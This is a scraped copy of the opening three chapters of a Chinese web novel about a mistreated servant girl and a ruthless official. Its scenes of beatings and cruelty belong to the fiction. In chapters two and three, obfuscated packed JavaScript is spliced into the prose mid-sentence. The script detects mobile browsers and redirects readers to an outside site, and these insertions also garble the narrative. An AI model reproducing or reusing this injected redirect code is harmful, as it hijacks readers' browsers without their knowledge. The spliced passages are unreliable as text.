《成了清冷权臣的侍妾》 1. 第一章 《成了清冷权臣的侍妾》草灯大人 晋江文学城独家首发 第一章 数九寒天,天降暴雪。 今年的江州苦寒,满城银装素裹,朔风刮得比别处冷冽。 盐粒子一般的雪絮飘扬于天地间,就连裴家大宅的琉璃贴面槛窗,都覆满了厚厚的积雪。 天儿刚灰蒙蒙亮,老夫人院子里的一等大丫鬟菊香,便扭着水蛇腰,袅袅婷婷出了外院。 外院负责膳食的厨房升起白色的炊烟,灶膛烧得火红,灶上五六口铁锅滋滋冒着热气儿。 盖菜的荷花满绣绸布桌罩里,已经摆好了几样吃食。 有老夫人爱吃的小豆粥、酱菜丝儿、凉拌鸡丝儿。 大夫人沈氏要喝的核桃牛乳羹、桂花糕。 还有二夫人点名要用的豌豆黄、奶豆腐。 见到裴老夫人跟前一等大红人菊香来了,嘴甜的丫鬟们、外院的管事,纷纷上前打探:“菊香姐姐来了,可是老夫人有什么示下?” 菊香虽得一声“姐姐”,但也不过是二十出头的年纪,放在寻常人家里算是年长了,但在伺候人的内院,还没熬到嬷嬷的辈分呢。 她明眸善睐,白了刘管事一眼:“您都比我大一轮呢,可别把我喊老了!我今儿来,是奉老太太的意思,待会儿记得上院前放个花炮,再让采买的婆子仔细添置,凡是市上有的新鲜果品,只管买了送进内院,食材上定要新鲜,断不可短缺什么。” 刘管事百思不得其解,他两眼发直,问了句:“离年关还有一月呢,又是放炮又是备货,可是有什么大人物要来家中做客?” “可不是么!大少爷要回祖宅省亲了!” 此言一出,众人皆是倒吸一口凉气。 谁人不知裴家大少爷裴瓒的威名啊? 裴瓒满腹诗书,少年英才,不过十六岁便连中三元,蟾宫折桂。 裴氏是江州首屈一指的豪族郡望,地方士族无人能望其项背。 可这样的高门阀阅,落到京城却有些不够看。 裴家在京中人脉不广,偏宫中有个诞下皇嗣的裴家姑奶奶。 裴贵妃在京中无父族倚仗,当真是举步维艰。 好在家族虽人丁凋敝,但也有逸群之才。 裴贵妃见娘家侄子争气,自是要铆足了劲儿提拔。 就此,在裴贵妃接连不断吹出的枕边风下,裴瓒初入官场便得到元庆帝的赏识。 不过短短十年间,他便从一个小小的文臣,提拔为统辖江州、渝州一带都司军所的左军都督府大都督。 裴贵妃膝下育有二皇子,自小早慧聪敏,深得元庆帝喜爱。 只元庆帝未立储君,还在观望长子与次子。他一面为想为式微的次子培养日后掌权的心腹,一面又因帝王心术,谨防妃妾的父族势大。 思来想去,他还是将裴瓒外派出京,兼任江州平寇总兵,常驻沿海诸州,为朝堂清剿倭寇,操练精锐的水师、陆师。 若无战事,便收回裴瓒调度统兵的印符,收缴将领的兵权。 却不曾想,十年过去,裴瓒因多年戎马生涯,拥军优属,监理粮饷,又统领镇守江渝一带边防,深得地方兵卒将领的敬仰。 裴瓒军威甚重,竟成气候,堪称一方霸主,甚至有传闻称,裴大都督无需官家印符,也能调遣兵马。 此等风言风语传入京城,甚至令垂暮之年的君王也心生忌惮…… 奴仆们猜不到这些国政内幕,他们只想着大都督裴瓒虽长年在外行军,权势煊赫。 因裴瓒势大,鲜花着锦,裴家的地位也跟着这位官运亨通的大少爷水涨船高。 出门在外,只要说是裴家的奴仆,就连地方知县都要客客气气说话,还得问候一句府上老太太安好。 这样龙章凤姿的嫡长孙要回府过年,焉能不让裴老夫人欢喜之至,倒履相迎? 莫说几样时兴瓜果,就是王馈皇膳,她都得想法子弄来。 下人们得了令,明白今年的赏钱一定丰厚,各个精神抖擞,快步跑去传话干活。 就连府外抱着扫帚扫雪的小丫鬟林蓉,听到此等消息,也一时心潮澎湃。 林蓉缩了缩冻僵的手,手指上红肿的冻疮生痒,她背着人偷偷涂了一点愈伤的药膏,心里回想方才听到的话,欢喜不已。 林蓉和府上其他丫鬟不同,她并非对这位钟灵毓秀的大少爷生出什么贪念妄想。 她不过是记得这位大少爷的恩情。 林蓉今年十七岁。 六岁时,她被家人发卖入府,因没什么伺候人的经验,不慎将一盏清茶泼到了刘管事的绸袍,烫了他一手燎泡。 大过年的受伤,害得刘管事都不敢上内院讨赏,这般怨气,当然要撒在林蓉身上。 林蓉年幼,饿得骨瘦嶙峋,佝偻脊背时,骨珠都在皮下狰着。 她跪在外院的石阶上,手脚已经冻得麻木,仿佛血液凝成了冰渣子,掰断一截骨头,连血都渗不出。 无数撒气的鞭子落在她的后背,直打得她伤痕遍布,皮开肉绽。 林蓉痴痴地垂着眼、低着头,行尸走肉般,一声不吭受着。 直到一辆青帷马车停在院外。 脚凳落下,来人弯腰迈出马车,一袭梧枝绿的绸袍随风摇曳,晃在细碎的风雪中。 下人们惊呼一声“大少爷”,忙殷勤上前,撑伞遮雪,披衣挡风。 那一抹身影渐近,眼见着要迈进角门。 可偏偏林蓉冻得意识昏沉,挡在院门口的石阶上,浑身战栗,连起身挪步都做不到。 刘管事吓得呼吸窒闷,忙上前踹开瘦小的林蓉,为裴瓒开道。 林蓉跌在雪堆里,她半边小脸都陷进蓬松冰冷的雪地里,耳朵嗡然,心肺阵痛,显然是被人踢伤了。 刘管事被林蓉这等赖皮样气得够呛,眼见着裴瓒走远,正要抬手再打。 哪知,少年郎竟踅身回来,行至林蓉面前。 裴瓒隔着女孩一头污血,淡瞥她一眼。 随即,男人清冽微沉的嗓音响起,犹如天籁,是他同刘管事道:“除夕不见血,莫要伤人。” 得了裴瓒的令,刘管事自是点头哈腰,急忙应是,还强按着林蓉的头,逼她叩问谢恩。 林蓉一口血气窒闷胸腔,她的眼眸被血色雾气遮蔽,只隐隐看到裴瓒宽袖之下的那一截白皙腕骨。 手骨清癯,指节修长如玉。缚着一串菩提木佛珠,清幽檀香盈满衣袖。 在那一刻,林蓉仅凭这一只腕骨,就认定自己见到了天外神仙。 大少爷菩萨心肠,是仙姿玉质的天人。 她承着裴瓒的恩情,敬着这位清贵主子。 她怎敢对他有丝毫非分之想。 - 渝州沿海,刚经历完一场平寇恶战。 海岸俱是熊熊燃烧的船木龙骨,成千上万的黑甲军士的尸首,高高挂在那些被炮火轰毁的桅杆甲板,昔日战友的腐肠烂肉流了一地,血气催人作呕。 夜幕沉沉,星垂平野。 海岸浮尸沉浮,乌漆的海水潮起潮落。 明明是深黑的海域,却被兵卒的残肢断臂,染出一片触目惊心的红。 嘹亮高亢的号角声,响彻云霄。 魏国在此次抗倭之战中,大获全胜。 副将郑至明领下裴瓒军令,继续肃清残敌,又召来医工,速速下海救治战场上的己方伤员…… 远处,一名身披黑甲、身量高大的年轻男子涉水而出。他摘下顶上兜鍪,露出一张被海潮打到湿泞的俊脸。 竟是抗战归来的裴瓒! 裴瓒跨步上岸,肩背挺峻孤高,身后发尾湿漉漉,被海风吹得晃动,直覆住半边轮廓冷硬的颌骨。 他似是被火光吸引,微微阖目。 一双狭长凤眼寒彻,落到人面上,如有实质,刮骨钢刀一般,残余冰冷刺骨的痛感。 饶是兵部的周尚书为官多年,亦不曾见过这般骇人的眼风,一时间他被裴瓒递来的眼神震慑,竟久久说不出话。 周尚书:“裴大都督,一切安好?” 周尚书本是京官,主掌兵部事。 此番他领了个艰苦的差事,被元庆帝外派江州,监军督师,好让裴瓒在战胜以后,上京述职领赏。 从前不过是要取裴瓒印符,收回兵权,这次还要请裴瓒返京述职,焉知不是一场屠杀重臣的鸿门宴? 裴瓒当然不会入套 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谁人不知,裴瓒深得军心,即便没有印符在手,他仍能调度几州兵马,此番如若不能带他回京面圣,便是放虎归山! 但周尚书也不敢惹恼了裴瓒,生怕因他之故,逼得裴瓒狗急跳墙。 要知道江州物阜民丰,实乃魏国第一粮仓。 若周尚书沉不住气,透出皇帝猜忌封疆大吏的意思,挑动兵祸,后果不堪设想……便是要瓮中捉鳖,也得先把裴瓒诱进都城。 周尚书脸色铁青,骑虎难下。 倒是裴瓒微扬唇角,冷声道了句:“江州匪寇众多,不是久留之地。特别是今年雪大,匪寇丛生,流民暴动……本官奉劝周尚书一句,还是尽早上路归京较好。” 听到这话,周尚书俨然被气得脸皮发紫,他如何听不出裴瓒的胁迫之言? 裴瓒分明在说,再不走,恐怕周尚书就要“死于非命”了,比起忠君,定然还是活命较好。 此子猖獗!狂妄! 可周尚书受制于人,不得不从。 都说两军交战不斩来使,裴瓒狼心狗肺,竟不按常理出牌! 周尚书到底怕死,他示了弱:“裴大都督所言极是……年关将至,还是早些归京较好。” “是极。本官有伤在身,不便多说,先行一步回营养伤了。” 裴瓒没再理会周尚书,他负伤牵马,疾驰奔回了军营。 裴瓒胸膛的伤口并非作伪,方才在京官面前才强撑起一口气忍痛,如今回到营帐,已是高热烧身,薄唇发白。 没等他唤来医官,远远便见一名身段窈窕的女子躬身榻边,柔声侍奉。 女子娇柔地道:“大都督,您回来了。” 裴瓒冷目一扫,认出来人,竟是郑至明的亲妹子郑慧音。 “滚出去。”裴瓒的沉湛眸光微敛,半点不给女子颜面。 郑慧音美眸含泪,又难堪低头:“我不过是见大都督伤重,想要近前侍奉……” 裴瓒却不给她任何一记眼神,他只扶上腰间锋锐长刃,寒声再道:“你兄长应告诫过……本官素来只有除夕仁善,不见血气。如你执意上前,那便杀了。” 郑慧音还要再争,可没等她开口说话,颊上忽然一阵剧痛,竟是裴瓒不留情面,他拧腕持剑,执意将冷刃割入女子脸皮,留下一道豁大伤疤! 郑慧音吓得花容失色,尖叫一声,捂脸后退。泊泊血液透过她细嫩的指缝,不断淌地,染湿了一地兽皮毛毯。 郑慧音几乎可以断定,若不是她躲闪得快,裴瓒真会剜下她的面皮! “是我错了,我再不敢擅闯军帐,还请大都督看在大哥的面子上,饶我一命……” 裴瓒还剑入鞘,终是收手。 郑慧音死里逃生,她急忙掩面逃离,生怕迟上半步,便会成为裴瓒的刀下亡魂! 郑慧音浑身冷汗涔涔,她悚栗不休。 果真如她兄长所说……裴瓒这等杀伐果决的悍将,又怎会长出人心? 生得一副悲天悯人的秀致菩萨样,却分明是个茹毛饮血的地狱恶鬼! 2. 第二章 第二章 裴家人丁不算兴旺,旁系都分家了,祖宅嫡支仅剩下裴老太太生的大儿子、二儿子、三女儿。 大儿子早在多年前离世,就剩下大夫人沈氏把持中馈。 二儿子裴华景倒是活着,只仕途上没什么建树,反倒从了商道,育有一子一女。其女裴妙怡出嫁了,府上还留个三少爷裴致远仍在县学读书,等着哪日乡试中举,再参加春闱。 至于裴老太太的三女儿,便是京中那位育有二皇子的裴贵妃。 家中又是皇亲国戚,又是达官贵人。如此门第,难怪门楣显赫,连府上奴仆都鸡犬升天。 腊月初八,释迦牟尼成佛日,府上分发了用桂圆、枣圈、红豆、薏仁熬制的腊八粥,不论主子下人皆能分食到一碗,也好沾沾佛缘喜气。 大夫人沈氏在正院与婆母裴老太太一块儿用粥。 没等沈氏吃完一口粥,裴老太太便放下汤勺,同大儿媳语重心长地道:“瓒哥儿多年不曾回府了,再这样分居下去,怕是和府上都要生分了。” 沈氏闻言,笑了声,宽慰老太太:“娘,您说笑了。瓒哥儿最是重孝道,怎会与府上离心,您不是不知道,都督府军务繁忙,他不得政令,哪能擅自离开军所,这不终于回来一道儿过年了,可见是心里惦念祖母。” 裴老太太哼了一声,面对这个八面玲珑的儿媳妇,满腹都是牢骚:“你可别唬老婆子……我知瓒哥儿不是从你肚子里爬出来的,你待他难免心存芥蒂。但他到底也是记在你名下的嫡子,如今都快二十七岁了,还是无家无口,孑然一身!哪家儿郎这个年纪,连个侍妾正妻都没有的?便是你再不上心,也该给他安排起通房丫鬟,得个一儿半女的。瓒哥儿体面,你这个为娘的在外不也得脸不是?” 沈氏闻言,脸色难看。 老太太想抱孙子,竟慌不择言,连祸家的庶长子都敢应下。 想到那一桩陈年旧事,沈氏到底没了胃口。 随便喝了两口粥,就用帮裴瓒布置玉尘院的借口离去了。 待沈氏离开正院的时候,忍不住和身旁的奶嬷嬷一通儿抱怨:“老太太真是疯魔了……是我不想亲近此子么?分明是那个小子目无下尘,与我作对!你是没看到他对外两副面孔,明面上待我这个嫡母敬重,可实际上入仕为官后,那官威压人得很,多年都不肯回江州省亲也罢,每次回来还不给我请安,有意与我疏远。” 其实裴瓒并非沈氏亲生子,而是妾生下的庶长子。 本是母凭子贵的好事,偏那名侍妾不知是心中生怨还是想要固宠,竟伤了裴家大爷的阳根,自此以后,大房绝了子嗣,便只留下这么一个长子。 沈氏嫁进裴家就守了活寡,满腔怒火当然要发泄在这个不开眼的侍妾身上。 年关都没过,侍妾就被沈氏用沾盐的铜丝鞭子,活生生打死在内宅。 也不知哪年开始,裴瓒不再除夕上正房请安,想来是当年的阴司事走漏了风声,母子间终究是兵戎相见了。 沈氏知道裴瓒心思深沉,定然存着怨气,此为杀母之仇,沈氏心有顾虑,不敢再热脸贴冷屁股。 奶嬷嬷忙给沈氏拍背顺气,沈氏缓过神来,又要再说:“此前我想着,沈氏也算诗礼传家,让他娶佳姐儿,不算辱没他。可最后,佳姐儿被此子送回江州,连面都没见着……他怕是心里怨我呢!” 沈佳是裴瓒的表妹,比他小上八岁,正是妙龄,奈何裴瓒连人都不肯见,听到沈家的名帖,直接派去一支暗卫队伍,将人送回了本家。 奶嬷嬷劝慰了沈氏几句:“大少爷兴许只是这些年忙着科考入仕,无瑕顾及家里。毕竟长房就这么一个嫡孙,举族的重担都挑在肩上,自当砥砺前行。况且大少爷也不是个蠢的,若非记在您的膝下,得了嫡出的造化,又何来如今的风光仕途?大少爷记您的好都来不及,如何会怨您?” 奶嬷嬷说得不无道理,沈氏将信将疑。 见自家主子听进去了,奶嬷嬷又道:“哥儿洁身自好,房里连个伺候人的婢子都没有,当然不通情窍。夫人既为嫡母,趁此机会,帮孩子安排几个开脸的通房,若大少爷收用了,也就知道房里有个体己人的好处了。” 奶嬷嬷在给沈氏台阶下,毕竟裴瓒如今是官居一品的镇边大吏,沈氏再将他当成那个不起眼的妾生子来看,早晚要吃亏。 倒不如趁着年关,母子二人冰释前嫌,再安插几个美貌的姬妾,笼络裴瓒,吹一吹枕边风,帮扶一把外祖家。 沈氏也回过味来……沈家多次提醒她,切莫开罪位高权重的裴瓒,她也实不该再和他拧着干。 讨好此子,虽然令她感到屈辱,但也大有裨益。 沈氏不情不愿地忍下了这口气。 既然正妻插不上手,那置几个玩意儿过去,想来裴瓒也不会扫嫡母的脸。 想到这里,沈氏心中有数。 她特地回房,喊了几个聪明伶俐的大丫鬟,细细打量。 紫烟生得雪肤花貌,胸脯鼓囊,正是爷们儿喜欢的娇态。 绿珠身姿高挑,一把嗓子如出谷黄鹂动听悦耳,只轻吟一声,就能酥人半边肩。 沈氏对两个丫鬟都很满意,她抬手,往女孩的云鬓里,一左一右插上一支金簪。 “过两日瓒哥儿回到玉尘院,你们几个定要留神伺候,若哥儿给你们哪人开了脸,我自会做主,给人抬个妾位。” 听完,绿珠和紫烟对视一眼,喜不自胜地跪地,“多谢大夫人抬举,奴婢们定会尽心竭力服侍好大少爷!” 要不是她们乃裴家的奴仆,就连看裴瓒一眼都是奢望,倘若真能被这样手握重权的高官收用,往后不说生下一男半女,就是抬成姨娘,独居后宅一隅,都能一生顺遂,荣华富贵,享用不尽! 这等美差,能轮到她们,当真是祖上冒青烟了! - 夜里,林蓉也领到了一碗热气腾腾的腊八粥。 她趁着粥还温热,特地捧到灶房里,和负责采买的赵婆子要了一小勺白糖,也算是今日跟着赵婆子出门,帮她拎鱼拎肉的报酬。 赵婆子低头,眯起老态龙钟的眼眸,上下打量林蓉。 说来也怪,林蓉在裴府做事,虽然是外院的扫洒丫鬟,但也每月有一钱银子的月俸,不至于过得捉襟见肘,偏她敛财节俭,不买脂膏也不买花钗,连衣裤也只穿府上分发的下人粗布衣裳,裤腿短了一截都没半句抱怨。 原本赵婆子以为林蓉想攒钱送回家里,但她和家人早就没了联系,也不知这般勤俭究竟为何。 林蓉也不解释。 她入裴府已有十年之久,当初她爹为了养活弟弟,特地将林蓉卖给人牙子,换了口粮。 林蓉当年虽只有五六岁,但她忘不了自己一个女娃娃,被人扒干净了赤身打量,再像一匹骡马一般,被人钳着下颌,细细验看牙口。 好在林蓉虽瘦弱,但浓眉大眼,模样还算干净,裴府的管事花了十五两买下她,签的是卖身死契。 这样的契书,便是被人打死,官府也不会过问。 林蓉攒了好些年,加上平时月钱,以及大大小小的赏赐,手中已有十三两银子。 林蓉不过是个外院小丫鬟,她没有担任要职,也不得府上主子的青眼,只要凑够十五两银子,就能和府上管事提解契赎身,脱离奴籍了。 林蓉做梦都想离开裴家,到时候她能溜到乡下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484310|185665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,辟一块田,搭一座草屋,过上逍遥自在的日子,不必再担惊受怕,忍饥挨饿,任主人家像打狗一样,动辄不顺眼便喊打喊杀。 今年运道好,林蓉撞见大少爷裴瓒回府,想来还能多得一点赏钱。 林蓉不免笑了下,又记起那一截泛着檀香的衣袖……大少爷简直是她的福星,每次遇到裴瓒,她都有好事发生! 想到这里,林蓉又觉得往后的日子充满了希望,连她吃到口中的甜粥都变得香甜了。 又过了半个月,林蓉忽然发现,外院的许多小丫鬟都开始穿红戴绿,甚至是簪起了绒花。 林蓉算了一下,距离除夕还有十来天呢,就算要下人打扮得喜庆热闹,这日子也不对啊。 没等她想明白,大夫人院子里的绿珠姐姐便找上林蓉:“蓉儿,你过来。” 林蓉见到温柔可亲的大丫鬟绿珠,忙小跑过去,问:“绿珠姐姐,好久不见。” 按理说,林蓉一个下等丫鬟,哪能和内院的大丫鬟搭上线? 不过是从前绿珠吃了核桃酪,犯了敏症,险些昏死在雪地里,林蓉帮婆子跑腿,恰好路过绿珠的身边。她扶起昏迷不醒的绿珠,并帮她喊来了大夫,这才救下绿珠一命。 自此后,绿珠便认了林蓉当妹子,日常府上做事,待她也多有关照。 绿珠捏了捏林蓉的脸蛋,对林蓉道:“我待会儿还要上大夫人面前当值,没那么多时间闲侃,我长话短说,你今日是不是还要帮赵婆子外出跑腿?” 林蓉是个实心眼的姑娘,平日跟着赵婆子外出采买,不捞油花,不讨赏钱,一门心思帮人提东西,也不知是想讨个什么样的好处,还常被同屋的小丫鬟取笑。 林蓉不图回报,其实只是想多个出门的机会。 “姐姐有什么想带的吗?” 绿珠递给她一张写满墨字的纸,又塞去二两银子,“你帮我带点东西,照着单子上买。” 林蓉看着纸上工整的字迹,脸颊泛红,小声说:“绿珠姐姐,我、我不识字……你能不能画给我?” 绿珠惊讶一瞬,很快她笑了声:“那我念给你听,你可要记住了!实在不行,就问一问同行的赵婆子,或者问问店家,总有识字的。” 林蓉点了点头,她专心致志听绿珠叮嘱。 待听到富春堂的胭脂水粉要五钱银子,林蓉不由惊得睁大了杏眸:“这么贵?” 那可是她五个月的月钱! “当然了。”绿珠忍俊不禁,悄声对她说,“我日后可是要服侍大少爷的丫鬟,自然要用些上等的脂粉,不然会被嫌的。” 绿珠难耐心中激动,又对林蓉小声透露了一些事,譬如她们奉命服侍裴瓒,若能得了大少爷的青睐,往后就能被抬成姨娘,在后宅里吃香喝辣了! 林蓉狐疑地问:“可是做人小妾哪有那么好?日后还有主母在上头压着呢……” 她可是见过二夫人打骂姨娘的情形,姨娘挨了几记耳光,连屁都不敢放一个。 绿珠想着林蓉还没开窍,倒也不管她,只笑了声:“那也比去贫户人家做正头娘子强,好了,我要去做事了,你可别忘记我的胭脂还有花钗。” “好,我一定帮姐姐买到。”林蓉怀揣着银钱,快步走远了。 她想到绿珠的话,心里想象了一下绿珠当上大少爷姬妾的模样。 确实,像绿珠姐姐那样如花似玉的姑娘,才能配得上神仙一般的裴瓒。 就是大少爷左拥右抱,纳那么多侍妾,实在花心了些。 不像她,日后赎身出府,只要寻一位夫婿就好了。 林蓉会好好对待自家夫君,两个人和和美美度日,定能将日子过得顺风顺水。 3. 第三章 第三章 许是担心裴瓒回府后闭门不出,概不见客。 待听到裴家兵马快要抵达江州主城,地方知州的家眷急忙主动携礼,试图登门拜访裴家。那礼品单子犹如雪花片一般,直往裴家门前堆。 一时之间,江州各家郡望都在观望裴府的风向,生怕落于人后,没能抱紧这一只粗壮的大腿。 裴老太太是个人精,哪里不懂那些官吏们的示好之意,她即便没有诰命在身,也俨如金贵的老安人。 老太太被人捧得高兴,也有心让裴瓒挑选心仪的女子为妻。 于是,裴老夫人便在裴瓒回家的那晚,设下一场家宴,邀请各府的小姐来家中做客。 听说江州的官家淑女们,为了在这一场宴席上逞妍斗色,几乎要把绢绸铺里的时兴缎面搬空了,就连家中的头面首饰,也全都拿到金楼里翻新了一回。 高门小姐只需想着明日穿什么,今晚吃什么,苦的累的倒都是府上的丫鬟婆子。 除夕那天晚上,裴家张灯结彩,丝竹管弦齐鸣。 庭院里每一棵树都挂上了红绡灯,桌上设馔酬酢,果脯蛏干,还用花绸新扎了戏台。 林蓉本来跟着马厩的王叔,一起在院门口安置宾客的马车。 但她笨口拙舌,又是身躯单薄的小姑娘,管事们怕她瘦骨嶙峋,连马都牵不稳,不敢让她杵在门口碍事。 正巧内院缺人,王叔便将林蓉远远打发走了。 内院摆盘布膳可是好差事,倘若仆妇们手脚麻利,大丫鬟菊香还会派发一笔赏钱,足足有几钱银子呢! 林蓉被这一桩美差事砸晕了,她脚底轻飘飘,如踏云端,美滋滋跟着赵婆子进内院了。 只是,林蓉忘记了内院的丫鬟们最爱拉帮结派,排斥外院的奴仆。 几个小丫鬟打扮得花枝招展,凑作一团,不论林蓉问什么事,她们都只拿染了胭脂的颊骨觑她,连个正脸都不给。 倒不是小丫鬟们故意排挤林蓉,实在是眼下正逢大少爷回府的节骨眼,忽然从外院塞进来一个盘整条顺、雪肤花貌的小姑娘,谁又不会心生警惕? 几人微挑眼风,上下打量林蓉。 林蓉穿得朴素。 一件粉色夹袄不知浆洗了多少次,袖摆塌了线,裤腿也缩上一截。女孩的脑袋饱满圆润,没拧什么发髻,统共就梳了一条乌油油的发辫,发尾绑一根细细的红绒线。极磕碜穷酸的打扮,竟也能透出一股小家碧玉的俏丽,当真令人心中生厌。 她们以为林蓉也是来大少爷跟前露脸的,不由对视一眼,心生一计。 她们故意指派林蓉,去伺候最为嚣张跋扈的谢家小姐。 林蓉急忙推诿:“我还没有服侍过宾客,这样要紧的活计指派给我,怕是不合适吧?” 那名唤作“明珠”的丫鬟抿唇一笑:“瞧你也是个伶俐人,定能讨得小姐们的喜欢,快去吧!赏钱可多了呢!” 林蓉位卑言轻,从未担过要职,但她再怎么傻也知道,真有这等好事,哪里轮得到她。 可内院丫鬟都发话了,林蓉不好拒绝,只能谨言慎行地跟在其他仆妇身后,祈求这一趟跑腿莫要出什么差池。 然而,林蓉还是低估谢家小姐的骄横。 没等她端来宾客们要喝的花茶进入花棚,就被风风火火走来的谢小姐撞翻在地。 滚沸的茶水倾倒,烫上林蓉的手背,女孩纤细的手指被水烫伤,立马鼓起几个肿胀的燎泡。 林蓉吃了痛,当即跌到雪地里。她的掌心朝下,被薄瓷茶盏嵌进皮肉,流了一地的血。 林蓉疼得龇牙咧嘴,轻呼出声。 没等她讨饶,一记脆生生的耳光,就此打了下来。 啪的一声重响,伴随一声怒极的斥责。 “贱婢!” 林蓉猝不及防被人扇了一巴掌,脸蛋瞬间浮肿一块,不止耳朵嗡鸣,嘴角也沁出鲜血。 林蓉发丝凌乱,形容狼狈,她无措地跪在严寒的雪地里,惶恐不安。 女孩的膝盖冻得麻木,但那点冻伤压根儿远远及不上脸上火辣辣的疼痛。 不是林蓉的错,是谢小姐撞的她…… 可她不能争不能辩解,因她是奴婢,此为大不敬。 “谢小姐息怒!” 林蓉垂下眼,茫然地抠动雪块,抹到手背,试图降温止疼。 谢小姐看到自己衣摆的脏污,心知这样污糟糟的模样,定是得不到裴瓒的另眼相待。 谢小姐气得直哭,怒意灼得她几乎不能呼吸,恨不得立时将林蓉拖出去乱棍打死。 “我看你就是存心想害我!” 谢小姐犹不解恨,还要再落下一巴掌,一声谄媚激动的唱报声却恰好从远处传来。 “喜报!大都督到!” 一声洪亮的唱报涌入耳朵。 院外立马亮起团团焰火,马蹄声隆隆作响,如潮涌至,震得檐上雪簌簌直落。 所有嬉闹笑谈都在这些骚动里戛然而止,宴客的庭院很快变得安静。 众人翘首以盼,难掩激动。 就连谢小姐也顾不上打人了,忙踮脚顾盼,朝外张望。 远处,一面面军所旗帜迎风飘扬,猎猎作响。 披坚执锐的军士列队上前,气势一往无前,直冲向这一座五进的宅院。 一时之间,一堵堵高耸的院墙被军容整肃的兵马围困,犹如瓮中之鳖。 众人像是看到什么令人毛骨悚然的场景,霎时死气沉沉,噤若寒蝉,整个筵席如同乌云密布,气氛变得凝重。 参宴的宾客,大部分都是官眷,可裴瓒归府,却无视男女大防,带着一群赳赳武夫堂而皇之地入内……此举堪称无礼至极,简直狂妄不羁。 女客们如同提线木偶一般,两眼发直地望向远处,不知该如何是好。 远处,庭院雪絮飞扬,檐灯燃起柔和明亮的烛光,渐渐浮出人影。 男人生得雪胎梅骨,秀致轩昂。 他身罩一袭狐毛黑氅,于冷冽寒风中跨步穿梭,渐行渐近。 此人便是名震江州的武臣裴瓒! 裴瓒轻车熟路地迈进院门,见到女眷,脸上也没有丝毫错愕。 男人收回目光,轻碾了一下腕上念珠。 片刻后,他抬手下令,命兵卒即刻前往军所安置,不必入内惊扰家眷。 裴瓒目中无人,半点不顾旁人神色,一点礼数不全。 高门妇人们敢怒不敢言。 官家小姐们倒是春心萌动,对这位传闻中的悍将武臣更为好奇,一个个忍不住偷眼打量。 这位传闻中的抗倭战神,明明是武将,却长得并不粗犷,反倒是长眉入鬓,凤目含威。容貌如温玉无瑕,颇有君子潇潇风骨。 女孩们捂住心口,小鹿乱撞……她们万万没想到,在外杀伐果决的大都督,竟是这般美姿仪的男子! 裴瓒抬眼,淡扫四周,显然没有料到家中会在年关宴客。 但他舟车劳顿,又负伤在身,已是疲乏,没有与人周旋的心情。 于是,裴瓒对几名官夫人颔首致意,抬腿便要往玉尘院迈去。 就在裴瓒离去的瞬间,他忽的压低了眉眼,望向雪地里那一抹红。 除夕见血,犯了他的大忌。 裴瓒微微皱眉,心生不悦。 裴瓒忽然驻足,谢小姐当然知道自己犯下何等过错。 谢小姐以为裴瓒不喜她太过骄纵,急忙温婉柔善地解释:“裴大都督,是这个奴婢包藏祸心,竟想用滚烫的茶汤泼我,我这才出手惩戒……不过一点小打小闹,倒是叨扰大人了。” 也是这时,裴瓒方才注意到,雪地里还跪着一名婢子。 女孩瞧着年纪不大,鸡崽子似的,浑身没二两肉。鬓边缠发的丝绦被人打落了,漆黑乌发凌乱,遮住了覆满红肿指印的侧脸。 她奴颜婢膝,深深低着头,那一节瓷白如玉的脆弱脖颈折下,鼓着亮莹莹的骨珠,如同易碎的釉面薄瓷。 裴瓒不过掠去一眼,便收了视线,没有多看的兴趣。 倒是林蓉听到渐行渐近的脚步声,她忽然心跳如擂鼓,久久无言。 林蓉跪在雪地里一动不动,低微卑贱如一只蝼蚁。 时隔多年,她再次闻到了那一味淡雅又浓烈的檀香。 不仅如此,她还看到裴瓒那一袭深黑衣袍被风卷起,绸袍广袖底下,有一串菩提木佛珠若隐若现。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484311|185665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林蓉心里记挂裴瓒,她一直领受大少爷的恩情。 她知裴瓒菩萨心肠,他见不得奴仆落难,他会救她于水火之间……如同从前那般。 直到男人微微眯眸,嗓音阴冷地道:“既是刁奴,打杀了便是。只今夜除夕,本官见不得血气……免得婢血太脏,坏人运道。” 此言一出,谢小姐悬着的心落了地,裴大都督不怪罪就好。 只在这一瞬,林蓉肩膀发木,她的脑袋放空,忽然觉得自己的耳鸣变得严重了。不知是被吓的、冻的、还是吓的。 她忽然什么都听不到了。 谢小姐如释重负,轻踢了林蓉一脚,冷哼:“既裴大人不能见血,还不快滚!杵在这里做什么,平白污人的眼!你且记好了,今日你犯下这等恶事,念及裴大人回府,我姑且饶你一命。如有下次,我定会禀了老夫人,治你这个刁奴的不敬之罪。” 林蓉被这一脚踹得跌进雪地里,一时间竟爬不起身。 她强忍住痛楚,老实巴交地低着头,用那双被沸茶烫伤的手撑地,匍匐于裴瓒的靴前,毕恭毕敬得道:“多谢大少爷、谢小姐宽容大度……饶了奴婢一命。” 说完,林蓉狼狈地起身,强行支着那一双冻僵了的膝骨,往外院行去。 林蓉不敢停留,她顶风冒雪,脚程加快。 她想快些回到黑漆漆的下人房中。 即使那间小屋仅有一条矮榻、一张瘸腿小桌,只挂了一片粗布帘子作为隔挡,但那是林蓉自己的家。 小隔间里没有烧炭,出奇得冷。 林蓉一进屋子,暖意便回到了四肢百骸,脸上的热意也回来了。 赵婆子听说了内院里发生的事,焦心不已。 